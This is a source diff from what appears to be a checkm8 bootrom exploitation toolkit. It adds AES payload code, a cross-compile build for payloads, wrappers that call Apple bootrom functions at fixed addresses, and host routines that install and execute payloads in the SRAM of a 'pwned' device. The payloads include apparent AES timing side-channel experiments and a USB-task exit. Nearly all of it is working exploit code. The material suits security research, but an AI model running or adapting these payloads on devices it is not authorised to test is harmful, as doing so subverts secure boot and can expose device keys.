add_library(host_crypto crypto/aes_sw_impl.c crypto/aes_sw_host.c)

View File

@@ -0,0 +1,78 @@
#include <stdlib.h>
#include <string.h>
#include "dev/types.h"
static const unsigned char sbox[256] =
{
0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16
};
static const unsigned char mul2_lookup[256] =
{
0x00, 0x02, 0x04, 0x06, 0x08, 0x0a, 0x0c, 0x0e, 0x10, 0x12, 0x14, 0x16, 0x18, 0x1a, 0x1c, 0x1e,
0x20, 0x22, 0x24, 0x26, 0x28, 0x2a, 0x2c, 0x2e, 0x30, 0x32, 0x34, 0x36, 0x38, 0x3a, 0x3c, 0x3e,
0x40, 0x42, 0x44, 0x46, 0x48, 0x4a, 0x4c, 0x4e, 0x50, 0x52, 0x54, 0x56, 0x58, 0x5a, 0x5c, 0x5e,
0x60, 0x62, 0x64, 0x66, 0x68, 0x6a, 0x6c, 0x6e, 0x70, 0x72, 0x74, 0x76, 0x78, 0x7a, 0x7c, 0x7e,
0x80, 0x82, 0x84, 0x86, 0x88, 0x8a, 0x8c, 0x8e, 0x90, 0x92, 0x94, 0x96, 0x98, 0x9a, 0x9c, 0x9e,
0xa0, 0xa2, 0xa4, 0xa6, 0xa8, 0xaa, 0xac, 0xae, 0xb0, 0xb2, 0xb4, 0xb6, 0xb8, 0xba, 0xbc, 0xbe,
0xc0, 0xc2, 0xc4, 0xc6, 0xc8, 0xca, 0xcc, 0xce, 0xd0, 0xd2, 0xd4, 0xd6, 0xd8, 0xda, 0xdc, 0xde,
0xe0, 0xe2, 0xe4, 0xe6, 0xe8, 0xea, 0xec, 0xee, 0xf0, 0xf2, 0xf4, 0xf6, 0xf8, 0xfa, 0xfc, 0xfe,
0x1b, 0x19, 0x1f, 0x1d, 0x13, 0x11, 0x17, 0x15, 0x0b, 0x09, 0x0f, 0x0d, 0x03, 0x01, 0x07, 0x05,
0x3b, 0x39, 0x3f, 0x3d, 0x33, 0x31, 0x37, 0x35, 0x2b, 0x29, 0x2f, 0x2d, 0x23, 0x21, 0x27, 0x25,
0x5b, 0x59, 0x5f, 0x5d, 0x53, 0x51, 0x57, 0x55, 0x4b, 0x49, 0x4f, 0x4d, 0x43, 0x41, 0x47, 0x45,
0x7b, 0x79, 0x7f, 0x7d, 0x73, 0x71, 0x77, 0x75, 0x6b, 0x69, 0x6f, 0x6d, 0x63, 0x61, 0x67, 0x65,
0x9b, 0x99, 0x9f, 0x9d, 0x93, 0x91, 0x97, 0x95, 0x8b, 0x89, 0x8f, 0x8d, 0x83, 0x81, 0x87, 0x85,
0xbb, 0xb9, 0xbf, 0xbd, 0xb3, 0xb1, 0xb7, 0xb5, 0xab, 0xa9, 0xaf, 0xad, 0xa3, 0xa1, 0xa7, 0xa5,
0xdb, 0xd9, 0xdf, 0xdd, 0xd3, 0xd1, 0xd7, 0xd5, 0xcb, 0xc9, 0xcf, 0xcd, 0xc3, 0xc1, 0xc7, 0xc5,
0xfb, 0xf9, 0xff, 0xfd, 0xf3, 0xf1, 0xf7, 0xf5, 0xeb, 0xe9, 0xef, 0xed, 0xe3, 0xe1, 0xe7, 0xe5
};
static const unsigned char mul3_lookup[256] =
{
0x00, 0x03, 0x06, 0x05, 0x0c, 0x0f, 0x0a, 0x09, 0x18, 0x1b, 0x1e, 0x1d, 0x14, 0x17, 0x12, 0x11,
0x30, 0x33, 0x36, 0x35, 0x3c, 0x3f, 0x3a, 0x39, 0x28, 0x2b, 0x2e, 0x2d, 0x24, 0x27, 0x22, 0x21,
0x60, 0x63, 0x66, 0x65, 0x6c, 0x6f, 0x6a, 0x69, 0x78, 0x7b, 0x7e, 0x7d, 0x74, 0x77, 0x72, 0x71,
0x50, 0x53, 0x56, 0x55, 0x5c, 0x5f, 0x5a, 0x59, 0x48, 0x4b, 0x4e, 0x4d, 0x44, 0x47, 0x42, 0x41,
0xc0, 0xc3, 0xc6, 0xc5, 0xcc, 0xcf, 0xca, 0xc9, 0xd8, 0xdb, 0xde, 0xdd, 0xd4, 0xd7, 0xd2, 0xd1,
0xf0, 0xf3, 0xf6, 0xf5, 0xfc, 0xff, 0xfa, 0xf9, 0xe8, 0xeb, 0xee, 0xed, 0xe4, 0xe7, 0xe2, 0xe1,
0xa0, 0xa3, 0xa6, 0xa5, 0xac, 0xaf, 0xaa, 0xa9, 0xb8, 0xbb, 0xbe, 0xbd, 0xb4, 0xb7, 0xb2, 0xb1,
0x90, 0x93, 0x96, 0x95, 0x9c, 0x9f, 0x9a, 0x99, 0x88, 0x8b, 0x8e, 0x8d, 0x84, 0x87, 0x82, 0x81,
0x9b, 0x98, 0x9d, 0x9e, 0x97, 0x94, 0x91, 0x92, 0x83, 0x80, 0x85, 0x86, 0x8f, 0x8c, 0x89, 0x8a,
0xab, 0xa8, 0xad, 0xae, 0xa7, 0xa4, 0xa1, 0xa2, 0xb3, 0xb0, 0xb5, 0xb6, 0xbf, 0xbc, 0xb9, 0xba,
0xfb, 0xf8, 0xfd, 0xfe, 0xf7, 0xf4, 0xf1, 0xf2, 0xe3, 0xe0, 0xe5, 0xe6, 0xef, 0xec, 0xe9, 0xea,
0xcb, 0xc8, 0xcd, 0xce, 0xc7, 0xc4, 0xc1, 0xc2, 0xd3, 0xd0, 0xd5, 0xd6, 0xdf, 0xdc, 0xd9, 0xda,
0x5b, 0x58, 0x5d, 0x5e, 0x57, 0x54, 0x51, 0x52, 0x43, 0x40, 0x45, 0x46, 0x4f, 0x4c, 0x49, 0x4a,
0x6b, 0x68, 0x6d, 0x6e, 0x67, 0x64, 0x61, 0x62, 0x73, 0x70, 0x75, 0x76, 0x7f, 0x7c, 0x79, 0x7a,
0x3b, 0x38, 0x3d, 0x3e, 0x37, 0x34, 0x31, 0x32, 0x23, 0x20, 0x25, 0x26, 0x2f, 0x2c, 0x29, 0x2a,
0x0b, 0x08, 0x0d, 0x0e, 0x07, 0x04, 0x01, 0x02, 0x13, 0x10, 0x15, 0x16, 0x1f, 0x1c, 0x19, 0x1a
};
static const unsigned char rc_lookup[11] = {0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c};
struct aes_constants *get_constants()
{
struct aes_constants *res = malloc(sizeof(struct aes_constants));
memcpy(res->sbox, sbox, sizeof(sbox));
memcpy(res->mul2, mul2_lookup, sizeof(mul2_lookup));
memcpy(res->mul3, mul3_lookup, sizeof(mul3_lookup));
memcpy(res->rc_lookup, rc_lookup, sizeof(rc_lookup));
return res;
}

View File

@@ -0,0 +1,150 @@
#include "dev/types.h"
#ifdef DEV_CRYPTO
#include "dev_util.h"
PAYLOAD_SECTION
#endif
void sub_bytes(unsigned char block[16], struct aes_constants *c)
{
int i;
unsigned char val;
for(i = 0; i < 16; i++)
{
val = block[i];
block[i] = c->sbox[val >> 4u][val & 0xfu];
}
}
#ifdef DEV_CRYPTO
PAYLOAD_SECTION
#endif
void shift_rows(unsigned char block[16])
{
unsigned char temp1, temp2;
temp1 = block[0x1];
block[0x1] = block[0x5];
block[0x5] = block[0x9];
block[0x9] = block[0xd];
block[0xd] = temp1;
temp1 = block[0x2];
temp2 = block[0xe];
block[0x2] = block[0xa];
block[0xe] = block[0x6];
block[0xa] = temp1;
block[0x6] = temp2;
temp1 = block[0x3];
block[0x3] = block[0xf];
block[0xf] = block[0xb];
block[0xb] = block[0x7];
block[0x7] = temp1;
}
#ifdef DEV_CRYPTO
PAYLOAD_SECTION
#endif
void mix_cols(unsigned char block[16], struct aes_constants *c)
{
unsigned char r0, r1, r2, r3;
int i;
for(i = 0; i < 4; i++)
{
r0 = block[4 * i];
r1 = block[4 * i + 1];
r2 = block[4 * i + 2];
r3 = block[4 * i + 3];
// no reason for the "+ 0" here but it makes the code look more lined up :)
block[4 * i + 0] = c->mul2[r0] ^ c->mul3[r1] ^ r2 ^ r3;
block[4 * i + 1] = r0 ^ c->mul2[r1] ^ c->mul3[r2] ^ r3;
block[4 * i + 2] = r0 ^ r1 ^ c->mul2[r2] ^ c->mul3[r3];
block[4 * i + 3] = c->mul3[r0] ^ r1 ^ r2 ^ c->mul2[r3];
}
}
#ifdef DEV_CRYPTO
PAYLOAD_SECTION
#endif
void add_key(unsigned char block[16], unsigned char key[16])
{
int i;
for(i = 0; i < 16; i++)
{
block[i] = block[i] ^ key[i];
}
}
#ifdef DEV_CRYPTO
PAYLOAD_SECTION
#endif
void expand_key(unsigned char key[16], unsigned char key_sched[176], int n,
struct aes_constants *c)
{
int i, j, prev_key_base, key_base = 0;
unsigned char val;
for(i = 0; i < 16; i++)
{
key_sched[i] = key[i];
}
for(i = 1; i < n; i++)
{
prev_key_base = key_base;
key_base = 16 * i;
for(j = 0; j < 3; j++)
{
val = key_sched[prev_key_base + 13 + j];
key_sched[key_base + j] = c->sbox[val >> 4u][val & 0xfu];
}
val = key_sched[prev_key_base + 12];
key_sched[key_base + 3] = c->sbox[val >> 4u][val & 0xfu];
key_sched[key_base] ^= c->rc_lookup[i - 1];
for(j = 0; j < 4; j++)
{
key_sched[key_base + j] = key_sched[key_base + j] ^ key_sched[prev_key_base + j];
}
for(j = 4; j < 16; j++)
{
key_sched[key_base + j] = key_sched[key_base + j - 4] ^ key_sched[prev_key_base + j];
}
}
}
#ifdef DEV_CRYPTO
PAYLOAD_SECTION
#endif
void aes128_encrypt_ecb(unsigned char *msg, unsigned int msg_len,
unsigned char key_sched[176], struct aes_constants *c)
{
unsigned int num_blocks = msg_len / 16;
unsigned char *block;
unsigned int i, j;
for(i = 0; i < num_blocks; i++)
{
block = &msg[16 * i];
add_key(block, key_sched);
for(j = 0; j < 9; j++)
{
sub_bytes(block, c);
shift_rows(block);
mix_cols(block, c);
add_key(block, &key_sched[16 * (j + 1)]);
}
sub_bytes(block, c);
shift_rows(block);
add_key(block, &key_sched[16 * (j + 1)]);
}
}

View File

@@ -0,0 +1,277 @@
#include "util/experiments.h"
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <stddef.h>
#include "dev/addr.h"
#include "tool/command.h"
#include "util/host_crypto.h"
DEV_PTR_T install_aes_data(struct pwned_device *dev)
{
int close;
DEV_PTR_T res;
struct aes_constants *constants = get_constants();
if(is_device_session_open(dev)) close = 0;
else
{
close = 1;
if(IS_CHECKM8_FAIL(open_device_session(dev)))
{
printf("failed to open device session\n");
free(constants);
return DEV_PTR_NULL;
}
}
res = install_data(dev, SRAM, (unsigned char *) constants, sizeof(struct aes_constants));
if(res == DEV_PTR_NULL)
{
printf("failed to write AES constants\n");
free(constants);
return DEV_PTR_NULL;
}
if(close)
{
if(IS_CHECKM8_FAIL(close_device_session(dev)))
{
printf("failed to close device session\n");
free(constants);
return DEV_PTR_NULL;
}
}
free(constants);
return res;
}
DEV_PTR_T setup_bern_exp(struct pwned_device *dev)
{
DEV_PTR_T addr_data, addr_key, addr_async_buf, addr_constants;
struct dev_cmd_resp *resp;
unsigned char data[16];
unsigned char key[16];
memset(key, 0x1, 16);
if(IS_CHECKM8_FAIL(open_device_session(dev)))
{
printf("failed to open device session\n");
return DEV_PTR_NULL;
}
addr_constants = install_aes_data(dev);
if(addr_constants == DEV_PTR_NULL)
{
printf("failed to install aes constants\n");
return DEV_PTR_NULL;
}
addr_data = install_data(dev, SRAM, data, 16);
if(addr_data == DEV_PTR_NULL)
{
printf("failed to install aes data\n");
return DEV_PTR_NULL;
}
addr_key = install_data(dev, SRAM, key, 16);
if(addr_key == DEV_PTR_NULL)
{
printf("failed to install aes key\n");
return DEV_PTR_NULL;
}
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_SYNC, SRAM)))
{
printf("failed to install sync payload\n");
return DEV_PTR_NULL;
}
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_AES_SW_BERN, SRAM)))
{
printf("failed to install aes payload\n");
return DEV_PTR_NULL;
}
resp = execute_payload(dev, PAYLOAD_SYNC, 0, 0);
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to execute sync payload\n");
free_dev_cmd_resp(resp);
return DEV_PTR_NULL;
}
free_dev_cmd_resp(resp);
addr_async_buf = setup_payload_async(dev, PAYLOAD_AES_SW_BERN,
sizeof(struct bern_data),
4, addr_data, 16, addr_key, addr_constants);
run_payload_async(dev, PAYLOAD_AES_SW_BERN);
if(IS_CHECKM8_FAIL(close_device_session(dev)))
{
printf("failed to close device session\n");
return DEV_PTR_NULL;
}
return addr_async_buf;
}
struct bern_data *get_bern_exp_data(struct pwned_device *dev, DEV_PTR_T async_buf)
{
struct dev_cmd_resp *resp;
struct bern_data *res;
if(IS_CHECKM8_FAIL(open_device_session(dev)))
{
printf("failed to open device session\n");
return NULL;
}
resp = execute_gadget(dev, ADDR_EVENT_NOTIFY, 0, 1,
async_buf + offsetof(struct bern_data, ev_data));
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to signal for data\n");
free_dev_cmd_resp(resp);
return NULL;
}
free_dev_cmd_resp(resp);
resp = read_gadget(dev, async_buf, sizeof(struct bern_data));
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to get data from device\n");
free_dev_cmd_resp(resp);
return NULL;
}
res = (struct bern_data *) resp->data;
free(resp);
resp = execute_gadget(dev, ADDR_EVENT_NOTIFY, 0, 1,
async_buf + offsetof(struct bern_data, ev_done));
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to signal data end\n");
free(res);
free_dev_cmd_resp(resp);
return NULL;
}
free_dev_cmd_resp(resp);
if(IS_CHECKM8_FAIL(close_device_session(dev)))
{
printf("failed to close device session\n");
free(res);
return NULL;
}
return res;
}
DEV_PTR_T setup_corr_exp(struct pwned_device *dev, unsigned char *init_key)
{
DEV_PTR_T addr_key, addr_async_buf, addr_constants;
struct dev_cmd_resp *resp;
if(IS_CHECKM8_FAIL(open_device_session(dev)))
{
printf("failed to open device session\n");
return DEV_PTR_NULL;
}
addr_constants = install_aes_data(dev);
if(addr_constants == DEV_PTR_NULL)
{
printf("failed to install aes constants\n");
return DEV_PTR_NULL;
}
addr_key = install_data(dev, SRAM, init_key, 16);
if(addr_key == DEV_PTR_NULL)
{
printf("failed to install aes key\n");
return DEV_PTR_NULL;
}
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_SYNC, SRAM)))
{
printf("failed to install sync payload\n");
return DEV_PTR_NULL;
}
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_AES_SW_CORR, SRAM)))
{
printf("failed to install aes payload\n");
return DEV_PTR_NULL;
}
resp = execute_payload(dev, PAYLOAD_SYNC, 0, 0);
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to execute sync payload\n");
free_dev_cmd_resp(resp);
return DEV_PTR_NULL;
}
free_dev_cmd_resp(resp);
addr_async_buf = setup_payload_async(dev, PAYLOAD_AES_SW_CORR,
sizeof(struct corr_data),
2, addr_key, addr_constants);
run_payload_async(dev, PAYLOAD_AES_SW_CORR);
if(IS_CHECKM8_FAIL(close_device_session(dev)))
{
printf("failed to close device session\n");
return DEV_PTR_NULL;
}
return addr_async_buf;
}
struct corr_data *get_corr_exp_data(struct pwned_device *dev, DEV_PTR_T async_buf)
{
struct dev_cmd_resp *resp;
struct corr_data *res;
if(IS_CHECKM8_FAIL(open_device_session(dev)))
{
printf("failed to open device session\n");
return NULL;
}
resp = read_gadget(dev, async_buf, sizeof(struct corr_data));
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to get data from device\n");
free_dev_cmd_resp(resp);
return NULL;
}
res = (struct corr_data *) resp->data;
free(resp);
resp = execute_gadget(dev, ADDR_EVENT_NOTIFY, 0, 1,
async_buf + offsetof(struct corr_data, ev_cont));
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to signal data continue\n");
free(res);
free_dev_cmd_resp(resp);
return NULL;
}
free_dev_cmd_resp(resp);
if(IS_CHECKM8_FAIL(close_device_session(dev)))
{
printf("failed to close device session\n");
free(res);
return NULL;
}
return res;
}

View File

@@ -0,0 +1,108 @@
#include "util/experiments.h"
#include <stdio.h>
#include "tool/payload.h"
void floppysleep(struct pwned_device *dev)
{
struct dev_cmd_resp *resp;
if(IS_CHECKM8_FAIL(open_device_session(dev)))
{
printf("failed to open device session\n");
return;
}
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_SYNC, SRAM)))
{
printf("failed to install sync payload\n");
return;
}
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_FLOPPYSLEEP, SRAM)))
{
printf("failed to install task sleep payload\n");
return;
}
float init_a = -7.504355E-39f;
DEV_PTR_T init_a_ptr = install_data(dev, SRAM, (unsigned char *) &init_a, sizeof(float));
if(init_a_ptr == DEV_PTR_NULL)
{
printf("failed to write initial data\n");
return;
}
resp = execute_payload(dev, PAYLOAD_SYNC, 0, 0);
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to execute bootstrap\n");
return;
}
free_dev_cmd_resp(resp);
resp = execute_payload(dev, PAYLOAD_FLOPPYSLEEP, 0, 1, init_a_ptr);
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to execute flopsleep payload\n");
return;
}
printf("retval is %08lli\n", resp->retval);
free_dev_cmd_resp(resp);
close_device_session(dev);
}
void floppysleep_async(struct pwned_device *dev)
{
float init_a = -7.504355E-39f;
DEV_PTR_T init_a_ptr, async_buf_ptr;
struct dev_cmd_resp *resp;
if(IS_CHECKM8_FAIL(open_device_session(dev)))
{
printf("failed to open device session\n");
return;
}
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_SYNC, SRAM)))
{
printf("failed to install sync payload\n");
return;
}
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_FLOPPYSLEEP, SRAM)))
{
printf("failed to install task sleep payload\n");
return;
}
init_a_ptr = install_data(dev, SRAM, (unsigned char *) &init_a, sizeof(float));
if(init_a_ptr == DEV_PTR_NULL)
{
printf("failed to write initial data\n");
return;
}
resp = execute_payload(dev, PAYLOAD_SYNC, 0, 0);
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to execute bootstrap\n");
return;
}
free_dev_cmd_resp(resp);
async_buf_ptr = setup_payload_async(dev, PAYLOAD_FLOPPYSLEEP, 32, 1, init_a_ptr);
run_payload_async(dev, PAYLOAD_FLOPPYSLEEP);
close_device_session(dev);
printf("async buf pointer is %llX\n", async_buf_ptr);
// sleep(10);
//
// open_device_session(dev);
// resp = read_gadget(dev, async_buf_ptr, 8);
// close_device_session(dev);
}

View File

@@ -0,0 +1,54 @@
#include "util/experiments.h"
#include <stdio.h>
#include "tool/command.h"
#include "dev/addr.h"
void usb_task_exit(struct pwned_device *dev)
{
struct dev_cmd_resp *resp;
if(IS_CHECKM8_FAIL(open_device_session(dev)))
{
printf("failed to open device session\n");
return;
}
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_SYNC, SRAM)))
{
printf("failed to install sync payload\n");
return;
}
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_EXIT_USB_TASK, SRAM)))
{
printf("failed to install sync payload\n");
return;
}
resp = execute_payload(dev, PAYLOAD_SYNC, 0, 0);
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to execute bootstrap\n");
return;
}
free_dev_cmd_resp(resp);
if(IS_CHECKM8_FAIL(uninstall_payload(dev, PAYLOAD_SYNC)))
{
printf("failed to uninstall sync payload\n");
return;
}
resp = execute_payload(dev, PAYLOAD_EXIT_USB_TASK, 0, 0);
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to exit usb task\n");
return;
}
if(IS_CHECKM8_FAIL(close_device_session(dev)))
{
printf("failed to close device session\n");
return;
}
}

View File

@@ -1,28 +1,46 @@
project(checkm8_libpayload_sources C ASM)
include_directories(include)
include_directories(${CMAKE_CURRENT_LIST_DIR}/include)
set(CMAKE_SYSTEM_PROCESSOR arm)
if(${CMAKE_HOST_SYSTEM_PROCESSOR} STREQUAL "x86_64")
# regular desktop
set(CMAKE_C_COMPILER /usr/bin/aarch64-linux-gnu-gcc)
set(CMAKE_ASM_COMPILER /usr/bin/aarch64-linux-gnu-as)
set(CMAKE_OBJCOPY /usr/bin/aarch64-linux-gnu-objcopy)
set(CMAKE_RANLIB /usr/bin/aarch64-linux-gnu-ranlib)
elseif(${CMAKE_HOST_SYSTEM_PROCESSOR} STREQUAL "armv7l")
# raspberry pi
set(CMAKE_C_COMPILER /opt/cross/bin/aarch64-linux-gcc)
set(CMAKE_ASM_COMPILER /opt/cross/bin/aarch64-linux-as)
set(CMAKE_OBJCOPY /opt/cross/bin/aarch64-linux-objcopy)
set(CMAKE_RANLIB /opt/cross/bin/aarch64-linux-ranlib)
endif()
set(CMAKE_C_FLAGS "-nostdlib -O")
file(MAKE_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/bin)
foreach(NAME ${PL_NAMES})
add_executable(payload_${NAME} src/${NAME}.c)
add_custom_command(TARGET payload_${NAME} POST_BUILD
BYPRODUCTS ${CMAKE_CURRENT_BINARY_DIR}/bin/payload_${NAME}.bin
string(REPLACE ":" "/" SRC_PATH ${NAME})
string(REGEX REPLACE "^[^:]*\\:(.*)$" "\\1" NAME_ONLY ${NAME})
set(SRC_NAME ${NAME}_SRCS)
set(${SRC_NAME} src/payload_entry.S src/payload_entry.c src/${SRC_PATH}.c)
if(EXISTS ${CMAKE_CURRENT_LIST_DIR}/src/${SRC_PATH}.S)
list(APPEND ${SRC_NAME} src/${SRC_PATH}.S)
endif()
add_executable(payload_${NAME_ONLY} ${${SRC_NAME}})
message(adding payload_${NAME_ONLY})
add_custom_command(TARGET payload_${NAME_ONLY} POST_BUILD
BYPRODUCTS ${CMAKE_CURRENT_BINARY_DIR}/bin/payload_${NAME_ONLY}.bin
COMMAND ${CMAKE_OBJCOPY}
ARGS -O binary -j .text -j .payload_text -j .payload_data
${CMAKE_CURRENT_BINARY_DIR}/payload_${NAME}
${CMAKE_CURRENT_BINARY_DIR}/bin/payload_${NAME}.bin)
endforeach(NAME)
${CMAKE_CURRENT_BINARY_DIR}/payload_${NAME_ONLY}
${CMAKE_CURRENT_BINARY_DIR}/bin/payload_${NAME_ONLY}.bin)
endforeach(NAME)
add_library(dev_crypto ../crypto/aes_sw_impl.c)
target_compile_definitions(dev_crypto PRIVATE DEV_CRYPTO)
target_link_libraries(payload_aes_sw_bern dev_crypto)
target_link_libraries(payload_aes_sw_corr dev_crypto)

View File

@@ -0,0 +1,136 @@
#ifndef CHECKM8_TOOL_BOOTROM_FUNC_H
#define CHECKM8_TOOL_BOOTROM_FUNC_H
#include "dev/addr.h"
#include "dev/types.h"
#include "dev_util.h"
/* Crypto */
static inline int hardware_aes(unsigned long long cmd,
unsigned char *src, unsigned char *dst,
int len, unsigned long long opts,
unsigned char *key, unsigned char *iv)
{
return ((BOOTROM_FUNC_I) ADDR_HARDWARE_AES)(cmd, src, dst, len, opts, key, iv);
}
static inline int get_random(void *buf, int len)
{
return ((BOOTROM_FUNC_I) ADDR_GET_RANDOM)(buf, len);
}
static inline unsigned int get_entropy()
{
return ((BOOTROM_FUNC_I) ADDR_GET_ENTROPY)();
}
static inline void sha1(void *src, int len, void *dst)
{
return ((BOOTROM_FUNC_V) ADDR_SHA1)(src, len, dst);
}
/* Timing */
static inline int clock_gate(int device, int power)
{
return ((BOOTROM_FUNC_I) ADDR_CLOCK_GATE)(device, power);
}
static inline unsigned long long get_time()
{
return ((BOOTROM_FUNC_ULL) ADDR_GET_TIME)();
}
static inline unsigned long long get_ticks()
{
return ((BOOTROM_FUNC_ULL) ADDR_GET_TICKS)();
}
static inline void timer_register_int(unsigned long long dl)
{
((BOOTROM_FUNC_V) ADDR_TIMER_REGISTER_INT)(dl, ADDR_RANDOM_RET);
}
static inline void wfi()
{
((BOOTROM_FUNC_V) ADDR_WFI)();
}
/* Tasking */
static inline void *task_new(char *name, BOOTROM_FUNC_I func, void *args, int ssize)
{
return ((BOOTROM_FUNC_PTR) ADDR_TASK_NEW)(name, func, args, ssize);
}
static inline void task_run(void *task)
{
((BOOTROM_FUNC_V) ADDR_TASK_RUN)(task);
}
static inline void task_pause(int usec)
{
((BOOTROM_FUNC_V) ADDR_TASK_PAUSE)(usec);
}
static inline void task_resched()
{
((BOOTROM_FUNC_V) ADDR_TASK_RESCHED)();
}
static inline void task_free(void *task)
{
((BOOTROM_FUNC_V) ADDR_TASK_FREE)(task);
}
static inline void event_new(struct event *dst, int flags, int state)
{
((BOOTROM_FUNC_V) ADDR_EVENT_NEW)(dst, flags, state);
}
static inline void event_notify(struct event *ev)
{
((BOOTROM_FUNC_V) ADDR_EVENT_NOTIFY)(ev);
}
static inline void event_wait(struct event *ev)
{
((BOOTROM_FUNC_V) ADDR_EVENT_WAIT)(ev);
}
static inline int event_try(struct event *ev, int timeout)
{
return ((BOOTROM_FUNC_I) ADDR_EVENT_TRY)(ev, timeout);
}
/* Heap */
static inline void calc_chksum(unsigned long long *dst, unsigned long long *src,
int len, unsigned long long *cookie)
{
((BOOTROM_FUNC_V) ADDR_CALC_CHKSUM)(dst, src, len, cookie);
}
static inline void check_block_chksum(void *ptr)
{
((BOOTROM_FUNC_V) ADDR_CHECK_BLOCK_CKSUM)(ptr);
}
static inline void check_all_chksums()
{
((BOOTROM_FUNC_V) ADDR_CHECK_ALL_CHKSUMS)();
}
static inline void *dev_malloc(int size)
{
return ((BOOTROM_FUNC_PTR) ADDR_DEV_MALLOC)(size);
}
static inline void *dev_memalign(int size, int constr)
{
return ((BOOTROM_FUNC_PTR) ADDR_DEV_MEMALIGN)(size, constr);
}
static inline void dev_free(void *ptr)
{
((BOOTROM_FUNC_PTR) ADDR_DEV_FREE)(ptr);
}
#endif //CHECKM8_TOOL_BOOTROM_FUNC_H

View File

@@ -0,0 +1,62 @@
#ifndef CHECKM8_TOOL_DEV_CACHE_H
#define CHECKM8_TOOL_DEV_CACHE_H
#include "dev_util.h"
PAYLOAD_SECTION
static inline unsigned long long get_ccsidr_el1()
{
unsigned long long cacheconfig = 0;
__asm__ volatile ("mrs %0, ccsidr_el1" : "=r" (cacheconfig));
return cacheconfig;
}
PAYLOAD_SECTION
static inline void sel_ccsidr_el1(unsigned int level, unsigned int i_or_d)
{
unsigned long long cachesel = (level & 0b111u) << 1u | (i_or_d & 0b1u);
__asm__ volatile ("msr csselr_el1, %0"::"r" (cachesel));
}
PAYLOAD_SECTION
static inline unsigned long long get_ctr_el0()
{
unsigned long long cacheconfig;
__asm__ volatile ("mrs %0, CTR_EL0" : "=r" (cacheconfig));
return cacheconfig;
}
PAYLOAD_SECTION
static inline void inv_l1_setway(unsigned int set, unsigned int way)
{
unsigned long long val = ((way & 0b11u) << 30u) | ((set & 0xFFu) << 6u);
__asm__ volatile ("dc isw, %0"::"r" (val));
}
PAYLOAD_SECTION
static inline void clean_l1_setway(unsigned int set, unsigned int way)
{
unsigned long long val = ((way & 0b11u) << 30u) | ((set & 0xFFu) << 6u);
__asm__ volatile ("dc csw, %0"::"r" (val));
}
PAYLOAD_SECTION
